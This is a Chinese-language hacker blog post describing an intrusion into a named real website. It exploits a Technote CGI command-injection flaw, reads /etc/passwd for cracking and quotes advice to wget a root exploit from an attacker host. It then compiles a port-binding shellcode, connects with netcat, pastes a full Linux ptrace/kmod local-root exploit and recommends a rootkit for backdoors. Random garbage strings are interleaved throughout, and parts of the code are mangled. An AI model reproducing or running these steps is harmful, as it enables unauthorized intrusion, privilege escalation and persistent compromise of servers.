从web漏洞到系统root权限过程全展现

韩冰

作者：cnbird

大家好，我是cnbird，我又回来了，好长时间没有写文章了，今天手痒痒，

! \, S* ~0 E+ l1 Y& o

所以就写了一篇，希望对与unix的初学者有帮助.欢迎大家和我讨论技术。MainpAge:http://cnbird.hackvip.cn

最近在家研究perl和UNIX服务器的安装和应用，所以很长时间没有进行渗 透了，在学perl和UNIX的话就要傻了，什么也不会了，所以去各大黑客站点

转转吧，来到了www.nsfocus.net看看吧，有没有什么新的公告啊，Technote 'main.cgi'远程任意命令执行漏洞 这个漏洞引起了我的注意，大致看了看，

知道了这是一个可以远程执行命令的漏洞，下面把漏洞的信息公布一下，Technote是韩国的Technote公司开发的公告牌系统。

Technote的'main.cgi'没有充分过滤用户提交输入，远程攻击者可以利用这

个漏洞以WEB进程权限在系统上执行任意命令。

' S" w& M2 L& c8 Z3 Q: Z

由于不正确过滤'filename'参数，攻击者提交包含"|command"的数据作为参

数内容，可能以WEB进程权限在系统上执行任意命令。

) l5 ~5 B5 n! q5 E

+ g' o: w4 {6 v; b; d给出利用方法

_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id">http://[target]/cgi-bin/technote/main.cgi/shop.pdf?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id|

2 F8 ? f. @& n, G8 ]& U; Q

看了看利用方法觉得很简单，所以打算自己写一个perl的漏洞利用程序，

5 F3 A/ s. i1 d+ |$ C; A

看了半天，终于完成了，自己perl新学的原因，所以写的比较简陋，还要自己

修改路径，很麻烦，我就不公布了，省的高手见笑。其实这个漏洞成功率还是

' H; w! r( ~% q: W/ ?9 Z

很高的，基本上90%以上吧，对于咱们这些经常搞安全的应该说是一个好消息.

; m( w* B& b7 C

^_^.

2 X& Q- n1 f# h

好了开始咱们这次难得的入侵之旅吧,这篇文章看着很简单，其实融合我多年

的经验（其实就1-2年）,首先要测试这个漏洞，先要找这样的论坛，

google.com就是方便，一下子找到了一大堆，好了随便挑一个进行测试吧，哈哈哈就拿你开口吧。

http://www.sealia.com/cgi-bin/technote/main.cgi首先大致看了看，然后就开始吧，

按照绿盟给出的公告测试一下，输入_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id">http://www.sealia.com/cgi-bin/technote/main.cgi/shop.pdf?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id|

结果如图1

6 O2 G! M1 E( h9 x$ i# a% r' p

大家看到结果了

uid=99(nobody) gid=99(nobody) groups=99(nobody) / U: r8 o: V- h/ [3 p下面就开始利用我自己写的程序来完成工作了，毕竟在IE里面输太麻烦了， 我程序的工作 ; t" ?6 A& |' U& U: F+ K1 U' I2 P9 W V界面。如图2

: A; e0 q; K6 p: h$ y' g: r; _

依次输入IP和端口，就可以直接运行程序了，输入id呵呵，和IE里面基本上差

! o3 e3 m6 r2 Q4 i1 v/ \

不多，

如图3

呵呵到这里我想大家的思路就是上传一个webshell然后在webshell里面搞了，

其实我也有这样的想法，可是我已经习惯了UNIX的命令行模式了，虽然能写一个webshell，但是我并没有这样做，我的目的是拿到root权限，大家一定问了，你连主机都没有连上呢，你怎么拿到root啊，小伙子你问的不错，奖你个梨吃，呵呵，下面我的思路就是登陆到机器上面，上面大家已经看到了，我们id命令的输出是uid=99(nobody) gid=99(nobody) groups=99(nobody)，权限还是很低的，试试能不能拿到/etc/passwd然后跑密码，然后执行[www.sealia.com]$ cat /etc/passwd

不错，能拿到/etc/passwd。

& K1 h+ J/ T, a, ?8 n7 H0 s* z

如图4

呵呵已经得到/etc/passwd了，我们用流光去跑密码吧，当然我没有指望它能跑出来，等待的时间真漫长啊，无聊，都已经5点50分了，天天晚上，哦哦不是晚上了，是早晨这个时候睡觉，然后12点起来，天天如此，哎，，苦啊。。。

去forum.zone-h.org看看帖子吧，也许能找到什么灵感呢！无意间来到了http://forum.zone-h.org/viewtopic.php?t=1168&highlight=phpbb他们正在讨论phpbb的漏洞利用方法和代码，看看吧，虽然已经很老很老了，呵呵其实说实话，不怕各位见小，我以前问在这里问过问题，很长时间没有来了，看看他们有没有给回复啊

8 r; k9 V/ q, G) D7 v/ n" D

如图5

2 Q( i9 L: w! k2 [( I8 d

/ \8 J& |2 s! g

呵呵见笑了，真没想到他们给的答案还很全面，^_^连什么程序都给出了，老外就是实在...呵呵...

6 }$ H7 c- g& Y: Q" }1 b5 ^1 K7 q

This one works fine

2 } W. [6 V& R$ o7 p6 Q, |

http://rst.void.ru/download/r57phpbb2010.txt

upload, someth like this

- n1 |1 f q3 ~8 {0 E6 O! m; t

./exploit.pl victimhost:port /php_root/ topic_num "wget -O /var/tmp/.r.c http://myhttpserver:port/exploit/root.c"

$ V3 J* \& r" S+ _./exploit.pl victimhost:port /php_root/ topic_num "gcc /var/tmp/.r.c -o .root"

$ P3 X( b4 r6 p3 b2 Q5 K5 x; D6 lexec on victim hots same shit

- g4 z' Y. y0 H

and binding shell

4 D& Y- K. w* T( i

http://shellcode.org/Shellcode/Linux/shell-bind-shell.html

回答的让我很满意啊，正好就试试他们给的方法吧，其实以前我也知道这样的方法的就是没有binding shell（就是把/bin/sh绑定到端口上）。好了说了这么多离题的话，我们还是赶紧做我们的事吧.

首先来到了http://shellcode.org/Shellcode/Linux/shell-bind-shell.html看了看，

This piece of code will open a socket for listening upon port 20000 and spawn a shell for all incoming connections.

9 C9 k# d7 n1 Q; i7 x4 Z

This would be ideal for a system which you didn't have a direct login shell upon.

! L2 n* o f9 F/ s

从描述上来看是linux的binding shell，并且绑定到了20000端口，下面有该程序的下载地方，真方便啊，http://shellcode.org/Shellcode/Linux/shell-bind-shell.c

5 ]; s5 j( k+ f& [* t" \9 ?( ] w" Q5 k

给出代码

8 D+ a8 ~/ X7 g- l. ~' h

/* 92 bytes iscntrl() evading portbinding shellcode - linux-x86 % z& A k" D/ V! g5 O- E * - by bighawk (bighawk@warfare.com) 1 E& C u, p* \% t2 }8 r * ( M/ }( g: G. A * This shellcode binds a shell on port 20000 # ^& g+ T4 u! F0 n+ I9 @; h * 1 v, ] q5 [- k1 {( p3 [" Z * stdin, stdout and stderr are dupped. accept() arguments are sane. % c7 b# v& |+ ]9 U9 v4 Q' { */

char code[] =

, ^6 j0 R9 G5 K* {& \, p

"\x31\xdb" // xor ebx, ebx "\xf7\xe3" // mul ebx "\xb0\x66" // mov al, 102 " Z; e& L! F1 j2 T "\x53" // push ebx "\x43" // inc ebx & x/ Y, W3 H" m5 |# z" i, O "\x53" // push ebx "\x43" // inc ebx "\x53" // push ebx % {) U' D: j v* U "\x89\xe1" // mov ecx, esp 2 |, E1 ^4 M6 |5 | "\x4b" // dec ebx 3 N9 r9 {% J! T& w, P+ [ "\xcd\x80" // int 80h "\x89\xc7" // mov edi, eax ( o2 O# K9 i$ [) [. `9 e "\x52" // push edx "\x66\x68\x4e\x20" // push word 8270 "\x43" // inc ebx "\x66\x53" // push bx "\x89\xe1" // mov ecx, esp 8 p0 N" {* ?3 e3 r "\xb0\xef" // mov al, 239 "\xf6\xd0" // not al : M4 }' k1 f1 M* Q3 B7 s8 u R! `. x M0 { "\x50" // push eax "\x51" // push ecx "\x57" // push edi "\x89\xe1" // mov ecx, esp * O1 M/ o0 ?9 D1 u' \" _& _ "\xb0\x66" // mov al, 102 ) i6 f. n; c' ` "\xcd\x80" // int 80h 6 u, V, L7 C {* @5 O. u j' b "\xb0\x66" // mov al, 102 "\x43" // inc ebx "\x43" // inc ebx "\xcd\x80" // int 80h 8 G/ x+ G) `: [7 U. Z5 O. C "\x50" // push eax 7 Q9 V c) i8 O7 P8 z; m, c& {3 Y "\x50" // push eax 2 G; s2 Y# I. E9 G4 J; Z2 A "\x57" // push edi ) w! p, L7 r/ q% f d3 x4 N3 N, r "\x89\xe1" // mov ecx, esp ) F6 n- N7 p6 u% d$ h "\x43" // inc ebx "\xb0\x66" // mov al, 102 ! y# |3 x' u% I# t) P& b "\xcd\x80" // int 80h "\x89\xd9" // mov ecx, ebx "\x89\xc3" // mov ebx, eax , A, S9 K z8 f V1 r "\xb0\x3f" // mov al, 63 "\x49" // dec ecx "\xcd\x80" // int 80h "\x41" // inc ecx ' \" f, ]1 P' b1 U) S2 T "\xe2\xf8" // loop lp & f6 y; y) M4 }$ R& I* @ "\x51" // push ecx " [. I! t# x2 k3 o. ` "\x68\x6e\x2f\x73\x68" // push dword 68732f6eh $ e) f6 N# p8 u) U B "\x68\x2f\x2f\x62\x69" // push dword 69622f2fh ' C" I* j& y$ l* Q "\x89\xe3" // mov ebx, esp + d3 F D- k# X" W5 A/ N; ` "\x51" // push ecx "\x53" // push ebx ! J2 } S$ u, F1 v2 m1 M6 U "\x89\xe1" // mov ecx, esp "\xb0\xf4" // mov al, 244 "\xf6\xd0" // not al "\xcd\x80"; // int 80h

main() { $ d) x; q/ ?7 q* g' }' }/ T; W void (*a)() = (void *)code; int i; 3 L; @6 s! q% K* D( J printf("size: %d bytes\n", strlen(code)); , n/ m3 k+ Z; X9 {6 M {: a, x printf("Testing for cntrl characters.. "); : i7 g7 t/ B7 B" n8 q for(i=0;i if(iscntrl(code)) printf("FAILED\n"), exit(255); printf("PASSED\n"); a(); t( j# {3 X: t3 p- }} 好了我们已经知道该下载地址

韩冰

http://shellcode.org/Shellcode/Linux/shell-bind-shell.c了， 7 q d9 ^# i1 s就可以用wget这个命令来下载了，输入 wget http://shellcode.org/Shellcode/Linux/shell-bind-shell.c -P /tmp意思 就是下载这个shell.c到/tmp目录下，如图6

然后ls /tmp得到下面的结果，[www.sealia.com]$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain 2bdlost+foundmremap_pte.cmysql.sockptrace.csess_0a3d59b6da83717a4c05fbc5c6429982sess_12981c19e4cdab7bc426af965e7c85desess_33c246570a69e0846eaaedaef61f0402sess_4eb43cb41a450e8a7d15998fe4e9ef82sess_5c2048e3188733f41bba9a1ab44a4f3bsess_6405a9b3e0a809d7f298ad598f5de180sess_67fc6892112d2d780a092664353dcbbasess_9e3a2581194c05f598543f10294a95edsess_a0332a716e5c0a0932331ce9a5ec64d2sess_a159ec1f21a671d5cfe201c384d8da1csess_c6f579b218f096eb5ba11fdbad90f248sess_cdea344ed2940c99c1fcc146c5322882sess_f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs ! O5 ]1 n; B! Z' E e这个时候就说明已经成功了，现在我们查找一下gcc在哪里，别到时候闹了半天 ' M& p0 C4 ]/ C$ M/ w L在没有gcc就麻烦了，然后输入whereis -b gcc意思就是查找gcc的全路径输出结果 7 i! ` I: |; z# a1 W% T[www.sealia.com]$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain 2 V# ?8 W+ Z- U6 r2 B6 t12gcc: /usr/bin/gcc 好了找到gcc了，接下来的事就好办了，编译源程序gcc shell-bind-shell.c -o bind 编译成功在/tmp目录下多了一个我们编译的bind程序，下面我们就来执行它吧， /tmp/bind程序执行的很慢哦.....大概等了1-2分钟程序执行完成，根据程序的介绍我 # J% B" z1 V2 e- u: X8 L# f/ R们知道他开了20000端口，我们telnet 上去吧，telnet www.sealia.com 20000 哈哈连接上了这个时候摸瞎输入id;uname -a 我晕怎么出现"command not found" , i, E' }) a+ q呢，我晕了，没错啊，看看源程序吧，找到了最后，哈哈知道了原因， Note: To use this you will need to make sure that you append '\n\0' to your entered strings, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc hostname 20000 (nc is netcat).好了知道为什么了，我们就换nc提交吧，执行nc -vv www.sealia.com 20000然后出现了C:\WINDOWS\system32>nc -vv www.sealia.com 20000Warning: inverse host lookup failed for 61.100.181.12: h_errno 11004: NO_DATAwww.sealia.com [61.100.181.12] 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7

呵呵到这里我们可爱的流光还在跑呢，跑了将近半个小时了，不等了，关闭它，太浪费资源了，这个时候我大概知道他是一个linux的操作系统，但不知道内核版本输入uname -r 可以看到这个linux的内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20的，下面咱们来提升权限吧，就是拿到root，这里说明一下这里有2个很好用的漏洞利用程序，一个是Linux Kernel do_mremap VMA本地权限提升漏洞（漏洞利用程序下载地址_pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了，咱们开始提升权限吧，大家先把咱们要利用的程序输入到linux里面cd /tmp;cat >1.c然后复制代码右键输入代码/* * H$ j. {$ | |1 L& Q' V) y! @* Linux kernel ptrace/kmod local root exploit * ; [0 ^6 `8 A, c2 o9 L" Z* This code exploits a race condition in kernel/kmod.c, which creates * kernel thread in insecure manner. This bug allows to ptrace cloned $ G0 x; M* F0 C, x8 ]* process, allowing to take control over privileged modprobe binary. # g: |' I" D4 n; t' @* 6 x$ I1 ]$ g, h! B; y; H* Should work under all current 2.2.x and 2.4.x kernels. ( d7 P; @ \' A. t; X4 b* [. r; W4 x# p9 w* I discovered this stupid bug independently on January 25, 2003, that . w+ v+ c/ m$ i+ _: }- [9 u* is (almost) two month before it was fixed and published by Red Hat * and others. / q/ A [+ I6 ~) p; P* % y9 Z2 w6 Z3 X9 ^7 q! ~) w; T* Wojciech Purczynski <cliph@isec.pl> : H2 O: g/ k9 g! C& ]* ' V) A! U) u) M# y" [1 M9 o% Q* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY * 6 z2 _5 V3 o$ @ T& ]: p* (c) 2003 Copyright by iSEC Security Research */

#include ' ], U- E$ g' c! N* H#include #include / \; P5 X7 |( T, x#include #include % g& J: t& ]6 X#include #include + ^& s. a2 P/ B$ n5 o; T#include #include 4 a- p1 H0 W6 C5 R3 O, c#include - ^+ y/ A, k4 W( l! B#include #include / m w% `* q: s0 l#include . o: x) s4 s! V: M" y' S- J#include ( Z3 b, W7 D. n+ s b! u3 \* F5 }#include \5 H( |: y2 h$ M2 A#include

char cliphcode[] = * b5 ~6 ^( r% d- X& d6 B"\x90\x90\xeb\x1f\xb8\xb6\x00\x00" "\x00\x5b\x31\xc9\x89\xca\xcd\x80" ( d6 C* [8 {' J% ~' k4 a"\xb8\x0f\x00\x00\x00\xb9\xed\x0d" "\x00\x00\xcd\x80\x89\xd0\x89\xd3" ) X4 b2 ? V" r5 r" Q6 k"\x40\xcd\x80\xe8\xdc\xff\xff\xff";

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t parent = 1; pid_t child = 1; pid_t victim = 1; volatile int gotchild = 0;

void fatal(char * msg) - e- f: W& q) z0 \{ perror(msg); 6 M0 C" {$ [7 p$ H$ G) W5 ^kill(parent, SIGKILL); kill(child, SIGKILL); 0 J5 v- W' v5 [. f( s D! Lkill(victim, SIGKILL); }

void putcode(unsigned long * dst) { char buf[MAXPATHLEN + CODE_SIZE]; unsigned long * src; 7 {2 m* O6 Y+ ^/ i6 g; p& mint i, len;

memcpy(buf, cliphcode, CODE_SIZE); 8 S& U% J6 o( jlen = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1); 2 v. e b! Q3 m2 q# vif (len == -1) fatal("[-] Unable to read /proc/self/exe");

len += CODE_SIZE + 1; buf[len] = '\0';

src = (unsigned long*) buf; " v5 C1 M! f' O' ofor (i = 0; i < len; i += 4) if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1) # l2 ]8 S5 X) bfatal("[-] Unable to write shellcode"); ~7 u( u h$ }3 {0 Y' `6 E- b}

void sigchld(int signo) { struct user_regs_struct regs;

if (gotchild++ == 0) 6 W0 Q9 G6 x) O0 areturn;

fprintf(stderr, "[+] Signal caught\n");

if (ptrace(PTRACE_GETREGS, victim, NULL, 畇) == -1) 1 `1 H5 m0 o2 h$ Pfatal("[-] Unable to read registers");

fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);

putcode((unsigned long *)regs.eip);

fprintf(stderr, "[+] Now wait for suid shell...\n");

if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1) ; z4 [2 y" ?. `1 t* | hfatal("[-] Unable to detach from victim");

exit(0); # F& a" F, _* r" Z}

void sigalrm(int signo) 3 r9 i- ^; O4 N+ @# E{ errno = ECANCELED; 0 K( y# U) |( yfatal("[-] Fatal error"); ' e) w) R4 u/ L- q5 ~1 f: z5 T}

void do_child(void) { % t4 ~ a" C, g% M- fint err;

child = getpid(); victim = child + 1;

signal(SIGCHLD, sigchld);

do ( t2 k" W1 D# G5 verr = ptrace(PTRACE_ATTACH, victim, 0, 0); ( O. c' U8 G/ ?- @+ m& O5 zwhile (err == -1 && errno == ESRCH);

if (err == -1) 6 L, g' S: O' jfatal("[-] Unable to attach");

fprintf(stderr, "[+] Attached to %d\n", victim); 9 |4 t1 h( V- x$ ?0 B# `0 zwhile (!gotchild) ; if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1) , L2 Q' a! e: ]* bfatal("[-] Unable to setup syscall trace"); ( L8 J v# R% W" O. Q% c# jfprintf(stderr, "[+] Waiting for signal\n");

for(;;); }

void do_parent(char * progname) , b6 o2 O7 l9 [{ 8 j3 B. }, J7 g' e2 Gstruct stat st; int err; errno = 0; socket(AF_SECURITY, SOCK_STREAM, 1); , n, w+ V: x2 x! i' g( ?% X$ }" ]do { err = stat(progname, &st); # L* i1 Q/ \! N% p. Z: N} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);

if (err == -1) fatal("[-] Unable to stat myself");

alarm(0); ; Y+ Y a0 f9 k$ n/ r$ `* d& @" E* E" Qsystem(progname); % y1 S7 {! a) k1 z9 d}

void prepare(void) { if (geteuid() == 0) { h2 ]( g+ w6 ^) |( ^9 G# yinitgroups("root", 0); setgid(0); setuid(0); execl(_PATH_BSHELL, _PATH_BSHELL, NULL); 5 }( i" y! @# O- S# ^6 Zfatal("[-] Unable to spawn shell"); } ! a1 ~, H/ S# z* |& s! g$ C}

int main(int argc, char ** argv) { ) w7 P# Y- a1 O) F8 u0 uprepare(); 3 O5 K0 }. X* s! Isignal(SIGALRM, sigalrm); alarm(10);

parent = getpid(); * _8 Y7 P9 G$ T) y* Hchild = fork(); * s. H# G, x9 Q9 T0 {0 k$ a7 p& gvictim = child + 1;

if (child == -1) fatal("[-] Unable to fork");

if (child == 0) do_child(); ! \$ h& e* M- J, Pelse do_parent(argv[0]);

return 0; 2 {/ P! O: ]+ W. h% n- q8 E1 g}CRTL+C保存，然后编译gcc 1.c -o 1编译成功，然后输入./1程序开始执行了，-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell on port 24876... =p-> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了，剩下的工作就是安装后门了，大家可以参考我另外的一篇文章，more.asp?name=cnbird&id=522还有推荐一个不错的rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有的工作就算已经完成了，其实从入侵中我们可以看出来我们做网站的一定要重视web漏洞，这一点点的小漏洞就可以把能拿到系统的最高权限，可见其危害性，希望国内的网管能够重视起来.